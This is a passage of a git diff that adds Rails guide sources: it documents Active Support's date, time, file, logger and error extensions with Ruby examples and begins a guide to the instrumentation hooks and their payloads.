+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+</ruby>
+
++beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+.
+
+h6. +monday+, +sunday+
+
+The methods +monday+ and +sunday+ return the dates for the beginning and
+end of the week, respectively. Weeks are assumed to start on Monday.
+
+<ruby>
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+</ruby>
+
+h6. +prev_week+, +next_week+
+
+The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
+
+<ruby>
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+</ruby>
+
+The method +prev_week+ is analogous:
+
+<ruby>
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+</ruby>
+
++prev_week+ is aliased to +last_week+.
+
+h6. +beginning_of_month+, +end_of_month+
+
+The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
+
+<ruby>
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+</ruby>
+
++beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
+
+h6. +beginning_of_quarter+, +end_of_quarter+
+
+The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
+
+<ruby>
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+</ruby>
+
++beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
+
+h6. +beginning_of_year+, +end_of_year+
+
+The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
+
+<ruby>
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+</ruby>
+
++beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
+
+h5. Other Date Computations
+
+h6. +years_ago+, +years_since+
+
+The method +years_ago+ receives a number of years and returns the same date those many years ago:
+
+<ruby>
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+</ruby>
+
++years_since+ moves forward in time:
+
+<ruby>
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+</ruby>
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+<ruby>
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+</ruby>
+
+h6. +months_ago+, +months_since+
+
+The methods +months_ago+ and +months_since+ work analogously for months:
+
+<ruby>
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+</ruby>
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+<ruby>
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+</ruby>
+
+h6. +weeks_ago+
+
+The method +weeks_ago+ works analogously for weeks:
+
+<ruby>
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+</ruby>
+
+h6. +advance+
+
+The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
+
+<ruby>
+date = Date.new(2010, 6, 6)
+date.advance(:years => 1, :weeks => 2)  # => Mon, 20 Jun 2011
+date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
+</ruby>
+
+Note in the previous example that increments may be negative.
+
+To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
+
+The method +advance+ advances first one month, and then one day, the result is:
+
+<ruby>
+Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
+# => Sun, 29 Mar 2010
+</ruby>
+
+While if it did it the other way around the result would be different:
+
+<ruby>
+Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
+# => Thu, 01 Apr 2010
+</ruby>
+
+h5. Changing Components
+
+The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+
+<ruby>
+Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
+# => Wed, 23 Nov 2011
+</ruby>
+
+This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
+
+<ruby>
+Date.new(2010, 1, 31).change(:month => 2)
+# => ArgumentError: invalid date
+</ruby>
+
+h5(#date-durations). Durations
+
+Durations can be added to and subtracted from dates:
+
+<ruby>
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+</ruby>
+
+They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+
+<ruby>
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+</ruby>
+
+h5. Timestamps
+
+INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone.
+
+h6. +beginning_of_day+, +end_of_day+
+
+The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
+
+<ruby>
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+</ruby>
+
+The method +end_of_day+ returns a timestamp at the end of the day (23:59:59):
+
+<ruby>
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+</ruby>
+
++beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
+
+h6. +beginning_of_hour+, +end_of_hour+
+
+The method +beginning_of_hour+ returns a timestamp at the beginning of the hour (hh:00:00):
+
+<ruby>
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+</ruby>
+
+The method +end_of_hour+ returns a timestamp at the end of the hour (hh:59:59):
+
+<ruby>
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+</ruby>
+
++beginning_of_hour+ is aliased to +at_beginning_of_hour+.
+
+INFO: +beginning_of_hour+ and +end_of_hour+ are implemented for +Time+ and +DateTime+ but *not* +Date+ as it does not make sense to request the beginning or end of an hour on a +Date+ instance.
+
+h6. +ago+, +since+
+
+The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+
+<ruby>
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+</ruby>
+
+Similarly, +since+ moves forward:
+
+<ruby>
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+</ruby>
+
+h5. Other Time Computations
+
+h4(#date-conversions). Conversions
+
+h3. Extensions to +DateTime+
+
+WARNING: +DateTime+ is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example +seconds_since_midnight+ might not return the real amount in such a day.
+
+h4(#calculations-datetime). Calculations
+
+NOTE: All the following methods are defined in +active_support/core_ext/date_time/calculations.rb+.
+
+The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_ext/date/calculations.rb+ you inherit these methods and their aliases, except that they will always return datetimes:
+
+<ruby>
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+</ruby>
+
+The following methods are reimplemented so you do *not* need to load +active_support/core_ext/date/calculations.rb+ for these ones:
+
+<ruby>
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+</ruby>
+
+On the other hand, +advance+ and +change+ are also defined and support more options, they are documented below.
+
+The following methods are only implemented in +active_support/core_ext/date_time/calculations.rb+ as they only make sense when used with a +DateTime+ instance:
+
+<ruby>
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+</ruby>
+
+h5. Named Datetimes
+
+h6. +DateTime.current+
+
+Active Support defines +DateTime.current+ to be like +Time.now.to_datetime+, except that it honors the user time zone, if defined. It also defines +DateTime.yesterday+ and +DateTime.tomorrow+, and the instance predicates +past?+, and +future?+ relative to +DateTime.current+.
+
+h5. Other Extensions
+
+h6. +seconds_since_midnight+
+
+The method +seconds_since_midnight+ returns the number of seconds since midnight:
+
+<ruby>
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+</ruby>
+
+h6(#utc-datetime). +utc+
+
+The method +utc+ gives you the same datetime in the receiver expressed in UTC.
+
+<ruby>
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+</ruby>
+
+This method is also aliased as +getutc+.
+
+h6. +utc?+
+
+The predicate +utc?+ says whether the receiver has UTC as its time zone:
+
+<ruby>
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+</ruby>
+
+h6(#datetime-advance). +advance+
+
+The most generic way to jump to another datetime is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, +:hours+, +:minutes+, and +:seconds+, and returns a datetime advanced as much as the present keys indicate.
+
+<ruby>
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+</ruby>
+
+This method first computes the destination date passing +:years+, +:months+, +:weeks+, and +:days+ to +Date#advance+ documented above. After that, it adjusts the time calling +since+ with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in +Date#advance+ applies, and we can extend it to show order relevance related to the time bits.
+
+If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
+
+<ruby>
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(:months => 1, :seconds => 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+</ruby>
+
+but if we computed them the other way around, the result would be different:
+
+<ruby>
+d.advance(:seconds => 1).advance(:months => 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+</ruby>
+
+WARNING: Since +DateTime+ is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+
+h5(#datetime-changing-components). Changing Components
+
+The method +change+ allows you to get a new datetime which is the same as the receiver except for the given options, which may include +:year+, +:month+, +:day+, +:hour+, +:min+, +:sec+, +:offset+, +:start+:
+
+<ruby>
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(:year => 2011, :offset => Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+</ruby>
+
+If hours are zeroed, then minutes and seconds are too (unless they have given values):
+
+<ruby>
+now.change(:hour => 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+</ruby>
+
+Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
+
+<ruby>
+now.change(:min => 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+</ruby>
+
+This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
+
+<ruby>
+DateTime.current.change(:month => 2, :day => 30)
+# => ArgumentError: invalid date
+</ruby>
+
+h5(#datetime-durations). Durations
+
+Durations can be added to and subtracted from datetimes:
+
+<ruby>
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+</ruby>
+
+They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+
+<ruby>
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+</ruby>
+
+h3. Extensions to +Time+
+
+h4(#time-calculations). Calculations
+
+NOTE: All the following methods are defined in +active_support/core_ext/time/calculations.rb+.
+
+Active Support adds to +Time+ many of the methods available for +DateTime+:
+
+<ruby>
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+</ruby>
+
+They are analogous. Please refer to their documentation above and take into account the following differences:
+
+* +change+ accepts an additional +:usec+ option.
+* +Time+ understands DST, so you get correct DST calculations as in
+
+<ruby>
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
+t = Time.local_time(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(:seconds => 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+</ruby>
+
+* If +since+ or +ago+ jump to a time that can't be expressed with +Time+ a +DateTime+ object is returned instead.
+
+h5. +Time.current+
+
+Active Support defines +Time.current+ to be today in the current time zone. That's like +Time.now+, except that it honors the user time zone, if defined. It also defines +Time.yesterday+ and +Time.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Time.current+.
+
+When making Time comparisons using methods which honor the user time zone, make sure to use +Time.current+ and not +Time.now+. There are cases where the user time zone might be in the future compared to the system time zone, which +Time.today+ uses by default. This means +Time.now+ may equal +Time.yesterday+.
+
+h5. +all_day+, +all_week+, +all_month+, +all_quarter+ and +all_year+
+
+The method +all_day+ returns a range representing the whole day of the current time.
+
+<ruby>
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
+</ruby>
+
+Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
+
+<ruby>
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
+</ruby>
+
+h4. Time Constructors
+
+Active Support defines +Time.current+ to be +Time.zone.now+ if there's a user time zone defined, with fallback to +Time.now+:
+
+<ruby>
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+</ruby>
+
+Analogously to +DateTime+, the predicates +past?+, and +future?+ are relative to +Time.current+.
+
+Use the +local_time+ class method to create time objects honoring the user time zone:
+
+<ruby>
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.local_time(2010, 8, 15)
+# => Sun Aug 15 00:00:00 +0200 2010
+</ruby>
+
+The +utc_time+ class method returns a time in UTC:
+
+<ruby>
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.utc_time(2010, 8, 15)
+# => Sun Aug 15 00:00:00 UTC 2010
+</ruby>
+
+Both +local_time+ and +utc_time+ accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
+
+If the time to be constructed lies beyond the range supported by +Time+ in the runtime platform, usecs are discarded and a +DateTime+ object is returned instead.
+
+h5(#time-durations). Durations
+
+Durations can be added to and subtracted from time objects:
+
+<ruby>
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+</ruby>
+
+They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
+
+<ruby>
+Time.utc_time(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+</ruby>
+
+h3. Extensions to +File+
+
+h4. +atomic_write+
+
+With the class method +File.atomic_write+ you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done +atomic_write+ closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like +all.css+:
+
+<ruby>
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+</ruby>
+
+To accomplish this +atomic_write+ creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists +atomic_write+ overwrites it and keeps owners and permissions.
+
+WARNING. Note you can't append with +atomic_write+.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in +active_support/core_ext/file/atomic.rb+.
+
+h3. Extensions to +Logger+
+
+h4. +around_[level]+
+
+Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
+
+<ruby>
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
+</ruby>
+
+h4. +silence+
+
+Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info, error and fatal.
+
+<ruby>
+logger = Logger.new("log/development.log")
+logger.silence(Logger::INFO) do
+  logger.debug("In space, no one can hear you scream.")
+  logger.info("Scream all you want, small mailman!")
+end
+</ruby>
+
+h4. +datetime_format=+
+
+Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a +datetime_format+ method then this is ignored.
+
+<ruby>
+class Logger::FormatWithTime < Logger::Formatter
+  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }
+
+  def self.call(severity, timestamp, progname, msg)
+    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
+  end
+end
+
+logger = Logger.new("log/development.log")
+logger.formatter = Logger::FormatWithTime
+logger.info("<- is the current time")
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/logger.rb+.
+
+h3. Extensions to +NameError+
+
+Active Support adds +missing_name?+ to +NameError+, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in +:"ActiveRecord::Base"+, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of +PostsController+ is called Rails tries optimistically to use +PostsHelper+. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that +posts_helper.rb+ raises a +NameError+ due to an actual unknown constant. That should be reraised. The method +missing_name?+ provides a way to distinguish both cases:
+
+<ruby>
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/name_error.rb+.
+
+h3. Extensions to +LoadError+
+
+Active Support adds +is_missing?+ to +LoadError+, and also assigns that class to the constant +MissingSourceFile+ for backwards compatibility.
+
+Given a path name +is_missing?+ tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of +PostsController+ is called Rails tries to load +posts_helper.rb+, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method +is_missing?+ provides a way to distinguish both cases:
+
+<ruby>
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/load_error.rb+.
diff --git a/guides/source/active_support_instrumentation.textile b/guides/source/active_support_instrumentation.textile
new file mode 100644
index 0000000000..dcdd9d14f5
--- /dev/null
+++ b/guides/source/active_support_instrumentation.textile
@@ -0,0 +1,448 @@
+h2. Active Support Instrumentation
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of ActiveSupport to measure events inside of Rails and other Ruby code. We cover:
+
+* What instrumentation can provide
+* The hooks inside the Rails framework for instrumentation
+* Adding a subscriber to a hook
+* Building a custom instrumentation implementation
+
+endprologue.
+
+h3. Introduction to instrumentation
+
+The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be *subscribed* to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+h3. Rails framework hooks
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+
+h3. ActionController
+
+h4. write_fragment.action_controller
+
+|_.Key         |_.Value|
+|+:key+        |The complete key|
+
+<ruby>
+{
+  :key => 'posts/1-dasboard-view'
+}
+</ruby>
+
+h4. read_fragment.action_controller
+
+|_.Key         |_.Value|
+|+:key+        |The complete key|
+
+<ruby>
+{
+  :key => 'posts/1-dasboard-view'
+}
+</ruby>
+
+h4. expire_fragment.action_controller
+
+|_.Key         |_.Value|
+|+:key+        |The complete key|
+
+<ruby>
+{
+  :key => 'posts/1-dasboard-view'
+}
+</ruby>
+
+h4. exist_fragment?.action_controller
+
+|_.Key         |_.Value|
+|+:key+        |The complete key|
+
+<ruby>
+{
+  :key => 'posts/1-dasboard-view'
+}
+</ruby>
+
+h4. write_page.action_controller
+
+|_.Key     |_.Value|
+|+:path+   |The complete path|
+
+<ruby>
+{
+  :path => '/users/1'
+}
+</ruby>
+
+h4. expire_page.action_controller
+
+|_.Key     |_.Value|
+|+:path+   |The complete path|
+
+<ruby>
+{
+  :path => '/users/1'
+}
+</ruby>
+
+h4. start_processing.action_controller
+
+|_.Key          |_.Value |
+|+:controller+  |The controller name|
+|+:action+      |The action|
+|+:params+      |Hash of request parameters without any filtered parameter|
+|+:format+      |html/js/json/xml etc|
+|+:method+      |HTTP request verb|
+|+:path+        |Request path|
+
+<ruby>
+{
+  :controller => "PostsController",
+  :action => "new",
+  :params => { "action" => "new", "controller" => "posts" },
+  :format => :html,
+  :method => "GET",
+  :path => "/posts/new"
+}
+</ruby>
+
+h4. process_action.action_controller
+
+|_.Key             |_.Value |
+|+:controller+     |The controller name|
+|+:action+         |The action|
+|+:params+         |Hash of request parameters without any filtered parameter|
+|+:format+         |html/js/json/xml etc|
+|+:method+         |HTTP request verb|
+|+:path+           |Request path|
+|+:view_runtime+   |Amount spent in view in ms|
+
+<ruby>
+{
+  :controller => "PostsController",
+  :action => "index",
+  :params => {"action" => "index", "controller" => "posts"},
+  :format => :html,
+  :method => "GET",
+  :path => "/posts",
+  :status => 200,
+  :view_runtime => 46.848,
+  :db_runtime => 0.157
+}
+</ruby>
+
+h4. send_file.action_controller
+
+|_.Key        |_.Value |
+|+:path+      |Complete path to the file|
+
+INFO. Additional keys may be added by the caller.
+
+h4. send_data.action_controller
+
++ActionController+ does not had any specific information to the payload. All options are passed through to the payload.
+
+h4. redirect_to.action_controller
+
+|_.Key         |_.Value |
+|+:status+     |HTTP response code|
+|+:location+   |URL to redirect to|
+
+<ruby>
+{
+  :status => 302,
+  :location => "http://localhost:3000/posts/new"
+}
+</ruby>
+
+h4. halted_callback.action_controller
+
+|_.Key       |_.Value |
+|+:filter+   |Filter that halted the action|
+
+<ruby>
+{
+  :filter => ":halting_filter"
+}
+</ruby>
+
+h3. ActionView
+
+h4. render_template.action_view
+
+|_.Key          |_.Value |
+|+:identifier+  |Full path to template|
+|+:layout+      |Applicable layout|
+
+<ruby>
+{
+  :identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  :layout => "layouts/application"
+}
+</ruby>
+
+h4. render_partial.action_view
+
+|_.Key           |_.Value |
+|+:identifier+   |Full path to template|
+
+<ruby>
+{
+  :identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+}
+</ruby>
+
+h3. ActiveRecord
+
+h4. sql.active_record
+
+|_.Key          |_.Value |
+|+:sql+         |SQL statement|
+|+:name+        |Name of the operation|
+|+:object_id+   |+self.object_id+|
+
+INFO. The adapters will add their own data as well.
+
+<ruby>
+{
+  :sql => "SELECT \"posts\".* FROM \"posts\" ",
+  :name => "Post Load",
+  :connection_id => 70307250813140,
+  :binds => []
+}
+</ruby>
+
+h4. identity.active_record
+
+|_.Key            |_.Value |
+|+:line+          |Primary Key of object in the identity map|
+|+:name+          |Record's class|
+|+:connection_id+ |+self.object_id+|
+
+h3. ActionMailer
+
+h4. receive.action_mailer
+
+|_.Key          |_.Value|
+|+:mailer+      |Name of the mailer class|
+|+:message_id+  |ID of the message, generated by the Mail gem|
+|+:subject+     |Subject of the mail|
+|+:to+          |To address(es) of the mail|
+|+:from+        |From address of the mail|
+|+:bcc+         |BCC addresses of the mail|
+|+:cc+          |CC addresses of the mail|
+|+:date+        |Date of the mail|
+|+:mail+        |The encoded form of the mail|
+
+<ruby>
+{
+  :mailer => "Notification",
+  :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  :subject => "Rails Guides",
+  :to => ["users@rails.com", "ddh@rails.com"],
+  :from => ["me@rails.com"],
+  :date => Sat, 10 Mar 2012 14:18:09 +0100,
+  :mail=> "..." # ommitted for beverity
+}
+</ruby>
+
+h4. deliver.action_mailer
+
+|_.Key          |_.Value|
+|+:mailer+      |Name of the mailer class|
+|+:message_id+  |ID of the message, generated by the Mail gem|
+|+:subject+     |Subject of the mail|
+|+:to+          |To address(es) of the mail|
+|+:from+        |From address of the mail|
+|+:bcc+         |BCC addresses of the mail|
+|+:cc+          |CC addresses of the mail|
+|+:date+        |Date of the mail|
+|+:mail+        |The encoded form of the mail|
+
+<ruby>
+{
+  :mailer => "Notification",
+  :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  :subject => "Rails Guides",
+  :to => ["users@rails.com", "ddh@rails.com"],
+  :from => ["me@rails.com"],
+  :date => Sat, 10 Mar 2012 14:18:09 +0100,
+  :mail=> "..." # ommitted for beverity
+}
+</ruby>
+
+h3. ActiveResource
+
+h4. request.active_resource
+
+|_.Key           |_.Value|
+|+:method+       |HTTP method|
+|+:request_uri+  |Complete URI|
+|+:result+       |HTTP response object|
+
+h3. ActiveSupport
+
+h4. cache_read.active_support
+
+|_.Key                |_.Value|
+|+:key+               |Key used in the store|
+|+:hit+               |If this read is a hit|
+|+:super_operation+   |:fetch is added when a read is used with +#fetch+|
+
+h4. cache_generate.active_support
+
+This event is only used when +#fetch+ is called with a block.
+
+|_.Key   |_.Value|
+|+:key+  |Key used in the store|
+
+INFO. Options passed to fetch will be merged with the payload when writing to the store
+
+<ruby>
+{
+  :key => 'name-of-complicated-computation'
+}
+</ruby>
+
+
+h4. cache_fetch_hit.active_support
+
+This event is only used when +#fetch+ is called with a block.
+
+|_.Key   |_.Value|
+|+:key+  |Key used in the store|
+
